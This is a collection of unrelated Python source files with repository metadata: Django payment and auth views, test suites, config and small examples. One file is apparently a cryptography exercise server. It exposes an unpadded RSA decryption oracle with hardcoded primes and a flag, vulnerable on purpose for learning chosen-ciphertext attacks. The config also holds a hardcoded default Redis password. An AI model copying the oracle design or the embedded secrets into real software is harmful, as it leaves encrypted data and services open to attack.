0c9315a6e530714d5deba2b63fd2921f968b030e | 1,730 | py | Python | qiwi_kassa/views.py | adilkhash/django-qiwi-kassa | 2a4c45c361210a6ce4fa3435a065ab0bd43ef202 | [
"MIT"
] | 2 | 2019-12-04T15:41:39.000Z | 2020-01-12T01:15:57.000Z | qiwi_kassa/views.py | adilkhash/django-qiwi-kassa | 2a4c45c361210a6ce4fa3435a065ab0bd43ef202 | [
"MIT"
] | null | null | null | qiwi_kassa/views.py | adilkhash/django-qiwi-kassa | 2a4c45c361210a6ce4fa3435a065ab0bd43ef202 | [
"MIT"
] | 1 | 2020-09-08T10:38:38.000Z | 2020-09-08T10:38:38.000Z | import json
import logging
from django.conf import settings
from django.views.generic import View
from django.views.decorators.csrf import csrf_exempt
from django.utils.decorators import method_decorator
from django.http import HttpResponseBadRequest, JsonResponse
from qiwi_payments.models import Invoice as QiwiInvoice
from qiwi_payments.utils import generate_hmac_hash
from qiwi_kassa.signals import payment_received
from qiwi_kassa.models import Invoice
logger = logging.getLogger(__name__)
class PaymentNotificationView(View):
"""
Payment notification URL
Read the docs: https://developer.qiwi.com/ru/bill-payments/?shell#notification
If payment was successful, payment_received signal will be send
"""
def post(self, request):
try:
payload = json.loads(request.body)
except json.JSONDecodeError:
logger.error('Invalid payload {}'.format(request.body))
return HttpResponseBadRequest('Invalid json')
else:
logger.debug('Received following payload: {}'.format(request.body))
invoice = QiwiInvoice.prepare(payload['bill'])
signature = generate_hmac_hash(invoice, settings.QIWI_KASSA_SECRET_KEY)
if signature == request.META['HTTP_X_API_SIGNATURE_SHA256']:
logger.debug('Payment for {} has been received'.format(invoice.bill_id))
payment_received.send(
sender=Invoice,
bill_id=invoice.bill_id
)
return JsonResponse({'error': 0}) # OK
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super().dispatch(request, *args, **kwargs)
| 37.608696 | 88 | 0.688439 | 196 | 1,730 | 5.928571 | 0.464286 | 0.043029 | 0.033563 | 0.041308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002985 | 0.225434 | 1,730 | 45 | 89 | 38.444444 | 0.864179 | 0.098844 | 0 | 0 | 0 | 0 | 0.084045 | 0.017728 | 0 | 0 | 0 | 0 | 0 | 1 | 0.060606 | false | 0 | 0.333333 | 0.030303 | 0.515152 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0c99247777d0a3f13b3ea3edc414ecdc597527d1 | 781 | py | Python | tests/test_uvicore.py | coboyoshi/uvicore | 9cfdeeac83000b156fe48f068b4658edaf51c8de | [
"MIT"
] | 11 | 2021-03-22T22:07:49.000Z | 2022-03-08T16:18:33.000Z | tests/test_uvicore.py | coboyoshi/uvicore | 9cfdeeac83000b156fe48f068b4658edaf51c8de | [
"MIT"
] | 12 | 2021-03-04T05:51:24.000Z | 2021-09-22T05:16:18.000Z | tests/test_uvicore.py | coboyoshi/uvicore | 9cfdeeac83000b156fe48f068b4658edaf51c8de | [
"MIT"
] | 2 | 2021-03-25T14:49:56.000Z | 2021-11-17T23:20:29.000Z | import pytest
import uvicore
from uvicore.support.dumper import dump
from starlette.testclient import TestClient
@pytest.mark.asyncio
async def xtest_app1(app1):
#print(app.providers)
#dump(uvicore.app.providers)
#dump(uvicore.db.connections)
from app1.models.post import Post
from uvicore.auth.models.user import User
#dump(Post.info())
#metakey = 'sqlite:///:memory'
users = await User.all()
dump(users)
# client = TestClient(uvicore.app.http.server)
# #print(uvicore.app.http.server)
# response = client.get('/app1/api/posts')
# dump(response)
#dump(client)
#from uvicore.support import path
#print(path.find_base(__file__) + '/testapp/app')
assert 1 == 2
#assert __version__ == '0.1.0'
| 17.75 | 53 | 0.672215 | 100 | 781 | 5.15 | 0.48 | 0.064078 | 0.069903 | 0.08932 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014377 | 0.198464 | 781 | 43 | 54 | 18.162791 | 0.808307 | 0.478873 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0 | false | 0 | 0.545455 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0ca55bbbbc593d6b3a266f90ef2bd869b8b85980 | 89 | py | Python | closure_examples/closurein.py | emmettgb/Random_Code | 15f327406a4f43c4e68d637c68d227cb0d1d3cd8 | [
"MIT"
] | 2 | 2021-10-08T23:05:20.000Z | 2021-12-20T00:37:24.000Z | closure_examples/closurein.py | emmettgb/Random_Code | 15f327406a4f43c4e68d637c68d227cb0d1d3cd8 | [
"MIT"
] | null | null | null | closure_examples/closurein.py | emmettgb/Random_Code | 15f327406a4f43c4e68d637c68d227cb0d1d3cd8 | [
"MIT"
] | null | null | null | def example2(n):
h = lambda : print(n)
return(h)
ourfunc = example2(5)
ourfunc()
| 14.833333 | 25 | 0.617978 | 13 | 89 | 4.230769 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043478 | 0.224719 | 89 | 5 | 26 | 17.8 | 0.753623 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0ca8849e721f5e5fe63c9662ef49926f3a8853f7 | 1,546 | py | Python | set6/rsa_armor_server.py | adbforlife/cryptopals | 18bbc39e73f6a76725e792ec74b29cbcc8868409 | [
"MIT"
] | null | null | null | set6/rsa_armor_server.py | adbforlife/cryptopals | 18bbc39e73f6a76725e792ec74b29cbcc8868409 | [
"MIT"
] | null | null | null | set6/rsa_armor_server.py | adbforlife/cryptopals | 18bbc39e73f6a76725e792ec74b29cbcc8868409 | [
"MIT"
] | null | null | null | import socketserver
p = 160395692291066204645240408005144298841242575157198151582479019845006873142307723737409525577934583003867070345235918629558870788852486152796303523567822483427392340129717263353909278742561965233216587675350816948572600191273169123174304199384674395264435143907098890893980591211116522240382008471178421397097
q = 144799956026363047979890964986469975101633369127539021169134308602171349323647104390702474599961496296867914662653886331492134564389169848627375094262808387339093502385516065909663887016623263743830570614293152307127908082950343687335290563649768964288627146636762435817428033480856591023672572911375858265917
n = p * q
e = 65537
lam = (p-1) * (q-1)
d = pow(e, -1, lam)
def enc(m):
m = int.from_bytes(m, 'big')
c = pow(m,e,n)
return c.to_bytes(256, 'big')
def dec(c):
c = int.from_bytes(c, 'big')
m = pow(c,d,n)
return m.to_bytes(256, 'big')
flag = b'flag{real_flag}'
encrypted = enc(flag)
print(encrypted)
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
inp = self.rfile.read(256)
if inp == encrypted:
self.wfile.write(b'BAD INPUT\n')
else:
self.wfile.write(dec(inp))
if __name__ == "__main__":
HOST, PORT = "localhost", 9999
# Create the server, binding to localhost on port 9999
with socketserver.TCPServer((HOST, PORT), MyTCPHandler) as server:
# Activate the server; this will keep running until you
# interrupt the program with Ctrl-C
server.serve_forever()
| 38.65 | 313 | 0.767141 | 141 | 1,546 | 8.312057 | 0.496454 | 0.011945 | 0.020478 | 0.022184 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.489718 | 0.150712 | 1,546 | 39 | 314 | 39.641026 | 0.402894 | 0.090556 | 0 | 0 | 0 | 0 | 0.03923 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.103448 | false | 0 | 0.034483 | 0 | 0.241379 | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0cac579685d707e5c08e41385510ed4f863bd05d | 4,616 | py | Python | tests/morphocut_test.py | madelinetharp/morphocut-server | a82ad5916adbd168816f7b26432b4a98d978c299 | [
"MIT"
] | null | null | null | tests/morphocut_test.py | madelinetharp/morphocut-server | a82ad5916adbd168816f7b26432b4a98d978c299 | [
"MIT"
] | 1 | 2019-08-14T20:07:53.000Z | 2019-08-14T20:07:53.000Z | tests/morphocut_test.py | madelinetharp/morphocut-server | a82ad5916adbd168816f7b26432b4a98d978c299 | [
"MIT"
] | 2 | 2019-11-28T13:10:28.000Z | 2021-11-19T20:37:19.000Z | from morphocut_server import api
from morphocut_server import morphocut
from morphocut_server.extensions import database, migrate
from morphocut_server import models
from morphocut.pipeline import *
import os
import tempfile
import pytest
import click
from flask import (Flask, Response, abort, redirect, render_template, request,
url_for)
import flask_migrate
from alembic.command import upgrade
from alembic.config import Config
def test_process_and_zip(tmp_path):
import_path = os.path.dirname(os.path.realpath(__file__))
export_path = tmp_path / "export"
export_path.mkdir()
output = api.process_and_zip(import_path, export_path)
assert 'ecotaxa_segmentation' in output
assert 'zip' in output
def test_pipeline_append():
pipeline = Pipeline()
assert len(pipeline.sequence) == 0
o = object
pipeline.append(o)
assert len(pipeline.sequence) == 1
def test_dataloader():
import_path = os.path.dirname(os.path.realpath(__file__))
dataloader = DataLoader(import_path)
options = dataloader.get_options()
ground_truth = dict(
object_extensions={'.png'},
index_files=[]
)
assert options == ground_truth
output = [f for f in dataloader()]
assert len(output) == 3
def test_processor():
import_path = os.path.dirname(os.path.realpath(__file__))
dataloader = DataLoader(import_path)
vignette_corrector = VignetteCorrector()
processor = Processor()
output = [f for f in processor(vignette_corrector(dataloader()))]
assert len(output) == 30
# TESTDB = 'test_project.db'
# TESTDB_PATH = 'test_db\{}'.format(TESTDB)
# TEST_DATABASE_URI = 'sqlite:///' + TESTDB_PATH
# ALEMBIC_CONFIG = r'C:\Bibliotheken\Dokumente\hiwi_geomar\morphocut\lead-eagle\migrations\alembic.ini'
# def apply_migrations():
# """Applies all alembic migrations."""
# config = Config(ALEMBIC_CONFIG)
# upgrade(config, 'head')
# @pytest.fixture(scope='session')
# def app(request):
# """Session-wide test `Flask` application."""
# app = Flask(__name__)
# app.config.from_object('morphocut_server.config_default')
# if 'morphocut_SETTINGS' in os.environ:
# app.config.from_envvar('morphocut_SETTINGS')
# app.config['SQLALCHEMY_DATABASE_URI'] = TEST_DATABASE_URI
# app.config['TESTING'] = True
# # Establish an application context before running the tests.
# ctx = app.app_context()
# ctx.push()
# def teardown():
# ctx.pop()
# request.addfinalizer(teardown)
# return app
# @pytest.fixture(scope='session')
# def db(app, request):
# """Session-wide test database."""
# if os.path.exists(TESTDB_PATH):
# os.unlink(TESTDB_PATH)
# def teardown():
# database.drop_all()
# os.unlink(TESTDB_PATH)
# database.app = app
# # database.create_all()
# # apply_migrations()
# database.init_app(app)
# migrate.init_app(app, database)
# with database.engine.begin() as txn:
# database.metadata.drop_all(txn)
# database.metadata.create_all(txn)
# flask_migrate.stamp()
# request.addfinalizer(teardown)
# return database
# @pytest.fixture(scope='function')
# def connection(db, request):
# """Creates a new database connection for a test."""
# connection = db.engine.connect()
# transaction = connection.begin()
# options = dict(bind=connection, binds={})
# session = db.create_scoped_session(options=options)
# db.session = session
# def teardown():
# transaction.rollback()
# connection.close()
# session.remove()
# request.addfinalizer(teardown)
# return connection
# def test_post_model(connection):
# connection.execute(models.datasets.insert(), dict(
# name='test_dataset', path='path/to/test_dataset', active=True))
# result = connection.execute(
# select([models.datasets.c.dataset_id]).select_from(models.datasets))
# id = result.fetchone()
# assert id > 0
# @pytest.fixture
# def client(monkeypatch):
# db_fd, morphocut.app.config['SQLALCHEMY_DATABASE_URI'] = tempfile.mkstemp()
# morphocut.app.config['TESTING'] = True
# client = morphocut.app.test_client()
# with morphocut.app.app_context():
# monkeypatch.setattr('builtins.input', lambda x: "y")
# morphocut.reset_db()
# yield client
# os.close(db_fd)
# os.unlink(morphocut.app.config['DATABASE'])
# def test_frontend(client):
# rv = client.get('/frontend')
# assert b'Datasets' in rv.data
# assert b'Projects' in rv.data
| 27.313609 | 103 | 0.675693 | 547 | 4,616 | 5.521024 | 0.308958 | 0.013907 | 0.025166 | 0.024834 | 0.124172 | 0.060596 | 0.060596 | 0.060596 | 0.060596 | 0.04702 | 0 | 0.001619 | 0.197357 | 4,616 | 168 | 104 | 27.47619 | 0.813495 | 0.616551 | 0 | 0.111111 | 0 | 0 | 0.019561 | 0 | 0 | 0 | 0 | 0 | 0.155556 | 1 | 0.088889 | false | 0 | 0.422222 | 0 | 0.511111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0cb79f0b76e202c8e79291061f2bbe08a85f7aa8 | 2,569 | py | Python | tests/lop/test_basics.py | carnot-shailesh/cr-sparse | 989ebead8a8ac37ade643093e1caa31ae2a3eda1 | [
"Apache-2.0"
] | 42 | 2021-06-11T17:11:29.000Z | 2022-03-29T11:51:44.000Z | tests/lop/test_basics.py | carnot-shailesh/cr-sparse | 989ebead8a8ac37ade643093e1caa31ae2a3eda1 | [
"Apache-2.0"
] | 19 | 2021-06-04T11:36:11.000Z | 2022-01-22T20:13:39.000Z | tests/lop/test_basics.py | carnot-shailesh/cr-sparse | 989ebead8a8ac37ade643093e1caa31ae2a3eda1 | [
"Apache-2.0"
] | 5 | 2021-11-21T21:01:11.000Z | 2022-02-28T07:20:03.000Z | from .lop_setup import *
def test_diag():
n = 4
x = jnp.arange(n)+1.
T = lop.diagonal(x)
X = lop.to_matrix(T)
assert_allclose(X, jnp.diag(x))
y = T.times(x)
assert_allclose(y, x**2)
assert lop.dot_test_real(keys[0], T)
def test_zero():
m, n = 4, 5
Z = lop.zero(n, m)
x = random.normal(keys[0], (m,))
y = random.normal(keys[0], (n,))
assert_allclose(Z.times(y), jnp.zeros((m,)))
assert_allclose(Z.trans(x), jnp.zeros((n,)))
A = lop.to_matrix(Z)
A2 = lop.to_complex_matrix(Z)
assert_allclose(A, A2)
def test_flipud():
n = 4
x = jnp.arange(n) + 1.
k = 8
X = jnp.reshape(jnp.arange(n*k), (n,k)) + 1.
F = lop.flipud(n)
assert_allclose(F.times(x), x[::-1])
assert_allclose(F.times(X), X[::-1, :])
assert_allclose(F.trans(x), x[::-1])
assert_allclose(F.trans(X), X[::-1, :])
assert_allclose(F.times(F.times(x)), x)
assert_allclose(F.trans(F.times(x)), x)
assert_allclose(F.times(F.times(X)), X)
assert_allclose(F.trans(F.times(X)), X)
assert lop.dot_test_real(keys[0], F)
assert lop.dot_test_complex(keys[0], F)
def test_sum():
n = 4
T = lop.jit(lop.sum(n))
A = lop.to_matrix(T)
assert_allclose(A, jnp.ones((1,4)))
A = lop.to_adjoint_matrix(T)
assert_allclose(A, jnp.ones((4,1)))
x = jnp.arange(n) + 1.
s = jnp.sum(x)
assert_allclose(T.times(x), s)
assert_allclose(T.trans(s), jnp.ones(n) * s)
assert lop.dot_test_real(keys[0], T)
assert lop.dot_test_complex(keys[0], T)
def test_zero_padding():
n = 4
T = lop.jit(lop.pad_zeros(n, 2, 2))
assert not T.matrix_safe
x = jnp.arange(n) + 1.
y = T.times(x)
z = jnp.zeros(2)
yy = jnp.concatenate((z, x, z))
assert_allclose(y, yy)
k = 8
X = jnp.reshape(jnp.arange(n*k), (n,k)) + 1.
Z = jnp.zeros((2, k))
Y = jnp.vstack((Z, X, Z))
assert_allclose(T.times_2d(X), Y)
assert lop.dot_test_real(keys[0], T)
def test_real_part():
n = 4
T = lop.jit(lop.real(n))
x = jnp.arange(n) + 1.
xx = x + 4j
assert_allclose(T.times(xx), x)
assert_allclose(T.trans(T.times(xx)), x)
assert lop.dot_test_real(keys[0], T)
assert lop.dot_test_complex(keys[0], T)
def test_symmetrize():
n = 4
T = lop.jit(lop.symmetrize(n))
x = random.normal(keys[0], (n,))
y = jnp.concatenate((x[::-1], x))
assert_allclose(T.times(x), y)
assert_allclose(T.trans(T.times(x)), 2*x)
assert lop.dot_test_real(keys[1], T)
assert lop.dot_test_complex(keys[1], T)
| 25.949495 | 49 | 0.585831 | 464 | 2,569 | 3.107759 | 0.127155 | 0.223301 | 0.083218 | 0.110957 | 0.676144 | 0.571429 | 0.444522 | 0.32871 | 0.314841 | 0.314841 | 0 | 0.0245 | 0.221487 | 2,569 | 98 | 50 | 26.214286 | 0.6965 | 0 | 0 | 0.280488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.414634 | 1 | 0.085366 | false | 0 | 0.012195 | 0 | 0.097561 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0cc57be939cacc9e98dc3136d3ccf6ef1562d646 | 1,912 | py | Python | codeit/oop/transports.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | codeit/oop/transports.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | codeit/oop/transports.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | from vehicle import Vehicle
class Bicycle(Vehicle):
max_speed = 15
def __init__(self, speed):
self._speed = speed
@property
def speed(self):
return self._speed
@speed.setter
def speed(self, new_value):
self._speed = new_value if 0 <= new_value <= Bicycle.max_speed else 0
def start(self):
print('자전거 페달 돌리기 시작합니다.')
self.speed = self.max_speed / 3
def __str__(self):
return f'이 자전거는 현재 {self.speed}km/h로 주행 중입니다.'
class NormalCar(Vehicle):
def __init__(self, speed, max_speed):
self._speed = 0
self.max_speed = max_speed
@property
def speed(self):
return self._speed
@speed.setter
def speed(self, new_value):
self._speed = new_value if 0 <= new_value <= self.max_speed else 0
def start(self):
print('일반 자동차 시동겁니다.')
self.speed = self.max_speed / 2
def __str__(self):
return f'이 일반 자동차는 현재 {self.speed}km/h로 주행 중입니다.'
class SportsCar(Vehicle):
def __init__(self, speed, max_speed):
self._speed = speed
self.max_speed = max_speed
@property
def speed(self):
return self._speed
@speed.setter
def speed(self, new_value):
self._speed = new_value if 0 <= new_value <= self.max_speed else 0
def start(self):
print('스포츠카 시동겁니다.')
self.speed = self.max_speed
def __str__(self):
return f'이 스포츠카는 현재 {self.speed}km/h로 주행 중입니다.'
if __name__ == '__main__':
# 자전거 인스턴스
bicycle = Bicycle(0)
# 일반 자동차 인스턴스
car = NormalCar(0, 100)
# 스포츠카 인스턴스
sports_car = SportsCar(0, 200)
# 정의한 인스턴스들을 모두 주행 시작시킨다
bicycle.start()
car.start()
sports_car.start()
# 자전거의 속도를 출력한다
print(bicycle)
# 자전거만 주행을 멈춰준다
bicycle.stop()
# 결과 값을 출력한다
print(bicycle)
print(car)
print(sports_car) | 20.126316 | 77 | 0.598849 | 267 | 1,912 | 4.041199 | 0.2397 | 0.150139 | 0.07785 | 0.063021 | 0.653383 | 0.63392 | 0.535681 | 0.516219 | 0.440222 | 0.36608 | 0 | 0.014914 | 0.29864 | 1,912 | 95 | 78 | 20.126316 | 0.789709 | 0.048117 | 0 | 0.534483 | 0 | 0 | 0.088803 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.258621 | false | 0 | 0.017241 | 0.103448 | 0.448276 | 0.12069 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
0cd091dba63ffa18c742e69fc06cac4c23111928 | 516 | py | Python | app/members/api/serializers.py | sudahang/cats-who-code | 5d885bbbd805ed825fd2be5949df81d232e1b876 | [
"Apache-2.0"
] | 3 | 2017-10-30T20:35:31.000Z | 2021-03-25T12:03:19.000Z | app/members/api/serializers.py | sudahang/cats-who-code | 5d885bbbd805ed825fd2be5949df81d232e1b876 | [
"Apache-2.0"
] | 5 | 2017-10-30T21:01:46.000Z | 2018-07-27T21:56:13.000Z | app/members/api/serializers.py | sudahang/cats-who-code | 5d885bbbd805ed825fd2be5949df81d232e1b876 | [
"Apache-2.0"
] | 4 | 2017-10-30T20:35:48.000Z | 2018-05-16T23:53:05.000Z | from rest_framework import serializers
from members.models import Member
class MemberSerializer(serializers.ModelSerializer):
class Meta:
model = Member
fields = ('id', 'username', 'name')
# def create(self, validated_data):
# user = User(
# email=validated_data['email'],
# username=validated_data['username']
# )
# user.set_password(validated_data['password'])
# user.save()
# return user
| 25.8 | 59 | 0.573643 | 47 | 516 | 6.170213 | 0.595745 | 0.17931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.321705 | 516 | 19 | 60 | 27.157895 | 0.828571 | 0.428295 | 0 | 0 | 0 | 0 | 0.048951 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0cd0fd5d9670784e718a0aa3e5679da2e9ed08f3 | 658 | py | Python | local/streamlit_s/Untitled.py | zxypic/PublicPic | 8bec621e38955fb061220bf56c2961122651ff9d | [
"MIT"
] | null | null | null | local/streamlit_s/Untitled.py | zxypic/PublicPic | 8bec621e38955fb061220bf56c2961122651ff9d | [
"MIT"
] | null | null | null | local/streamlit_s/Untitled.py | zxypic/PublicPic | 8bec621e38955fb061220bf56c2961122651ff9d | [
"MIT"
] | null | null | null | '''
@Author: 咸的
@Date: 2020-03-09 14:35:31
@LastEditTime: 2020-03-10 14:08:05
@Description: In User Settings Edit
'''
txt = '''120 132
261 294
416 429
541 555
680 692
784 799
926 939
1082 1096
1212 1224
1333 1344
1452 1466
1586 1598
1728 1743
1891 1905
2038 2050
2183 2196
2354 2367
2502 2515
2675 2687
2807 2818
2926 2939
3079 3107
3256 3269
3392 3406
3507 3521
3641 3652
3773 3787
3904 3919
4028 4040
4147 4160
4257 4269'''
txt = txt.split('\n')
stfr = [i.split('\t')[0] for i in txt ]
# print(stfr)
se_frame = [i.split('\t') for i in txt]
# print(se_frame)
for i in range(len(txt)):
print(se_frame[i][0],se_frame[i][1], round((i+1)/(len(txt))*100)) | 14 | 69 | 0.691489 | 132 | 658 | 3.416667 | 0.727273 | 0.062084 | 0.039911 | 0.039911 | 0.062084 | 0 | 0 | 0 | 0 | 0 | 0 | 0.493578 | 0.171733 | 658 | 47 | 69 | 14 | 0.333945 | 0.209726 | 0 | 0 | 0 | 0 | 0.587891 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.027778 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0cd3d8acb459af6300fa7c7bef3beef0cc7d8bc2 | 888 | py | Python | collector/env.py | tumido/aiops-data-collector | 1fa2d86dd5ab80e79742a985c17a9007a030e734 | [
"Apache-2.0"
] | 1 | 2018-12-22T14:13:44.000Z | 2018-12-22T14:13:44.000Z | collector/env.py | tumido/aiops-data-collector | 1fa2d86dd5ab80e79742a985c17a9007a030e734 | [
"Apache-2.0"
] | 31 | 2018-11-01T00:33:35.000Z | 2019-07-16T20:53:57.000Z | collector/env.py | tumido/aiops-data-collector | 1fa2d86dd5ab80e79742a985c17a9007a030e734 | [
"Apache-2.0"
] | 3 | 2018-10-20T05:15:34.000Z | 2019-02-21T04:05:21.000Z | import os
TOPOLOGICAL_INTERNAL_PATH = os.environ.get('TOPOLOGICAL_INTERNAL_PATH')
ALL_TENANTS = os.environ.get('ALL_TENANTS', 'true').lower() in ['true', 'y']
TOPOLOGICAL_INVENTORY_HOST = os.environ.get('TOPOLOGICAL_INVENTORY_HOST')
TOPOLOGICAL_INVENTORY_PATH = os.environ.get('TOPOLOGICAL_INVENTORY_PATH')
HOST_INVENTORY_HOST = os.environ.get('HOST_INVENTORY_HOST')
HOST_INVENTORY_PATH = os.environ.get('HOST_INVENTORY_PATH')
SOURCES_HOST = os.environ.get('SOURCES_HOST')
SOURCES_PATH = os.environ.get('SOURCES_PATH')
INPUT_DATA_FORMAT = os.environ.get('INPUT_DATA_FORMAT', '').upper()
APP_NAME = os.environ.get('APP_NAME')
SSL_VERIFY = os.environ.get('SSL_VERIFY', 'true').lower() in ['true', 'y']
REDIS_ENV = os.environ.get('REDIS_ENV', '{"host": "redis"}')
REDIS_PASSWORD = os.environ.get('REDIS_PASSWORD', 'smartvm')
PROCESS_WINDOW = int(os.environ.get('PROCESS_WINDOW', 60*60*24))
| 52.235294 | 76 | 0.768018 | 130 | 888 | 4.938462 | 0.253846 | 0.196262 | 0.261682 | 0.099688 | 0.350467 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007229 | 0.065315 | 888 | 16 | 77 | 55.5 | 0.766265 | 0 | 0 | 0 | 0 | 0 | 0.297297 | 0.086712 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.066667 | 0.066667 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0cd998512cda86c10f52de242e0447c27bdc9a52 | 284 | py | Python | card/api/urls.py | Ab1gor/cardsite | 3da8b998d093fd2b788a28bf8bc0cf09a43023c3 | [
"BSD-3-Clause"
] | 1 | 2019-03-12T06:33:21.000Z | 2019-03-12T06:33:21.000Z | card/api/urls.py | Ab1gor/cardsite | 3da8b998d093fd2b788a28bf8bc0cf09a43023c3 | [
"BSD-3-Clause"
] | 4 | 2021-03-18T20:48:41.000Z | 2022-01-13T00:49:58.000Z | card/api/urls.py | Ab1gor/cardsite | 3da8b998d093fd2b788a28bf8bc0cf09a43023c3 | [
"BSD-3-Clause"
] | null | null | null | from django.urls import path, include
from . import views
from .views import CardSerializerView
urlpatterns = [
#path('signup/',views.SignUp.as_view(),name='signup'),
#path('login/',views.login1,name='login'),
path('card/',CardSerializerView.as_view(), name='apicard'),
] | 31.555556 | 63 | 0.707746 | 35 | 284 | 5.685714 | 0.485714 | 0.060302 | 0.100503 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003984 | 0.116197 | 284 | 9 | 64 | 31.555556 | 0.788845 | 0.330986 | 0 | 0 | 0 | 0 | 0.063492 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
0cdfe826094ce5c7082ac6041f55ebd22ee3b351 | 2,922 | py | Python | python/CoNetwork/authentication/views.py | Sirruthf/stuff | 3f44d8f029eb2b87b6d408718c0f9e935c748960 | [
"MIT"
] | null | null | null | python/CoNetwork/authentication/views.py | Sirruthf/stuff | 3f44d8f029eb2b87b6d408718c0f9e935c748960 | [
"MIT"
] | null | null | null | python/CoNetwork/authentication/views.py | Sirruthf/stuff | 3f44d8f029eb2b87b6d408718c0f9e935c748960 | [
"MIT"
] | null | null | null | from django.shortcuts import render, redirect
from django.http import HttpRequest, HttpResponse
from django.contrib.auth import authenticate, login, logout, update_session_auth_hash
from django.contrib.auth.decorators import login_required
from django.contrib.auth.forms import PasswordChangeForm
from django.contrib.auth.models import User
from main import yandex_oauth
from authentication import forms as f
from authentication.models import CustomUser
# Create your views here.
def confirm(request):
return render(request, template_name='confirm.html')
def reset_password(request):
return render(request, template_name='reset_password.html')
def log_out(request):
logout(request)
return redirect('/')
def log_in(request):
if request.method == 'POST':
print(request.POST)
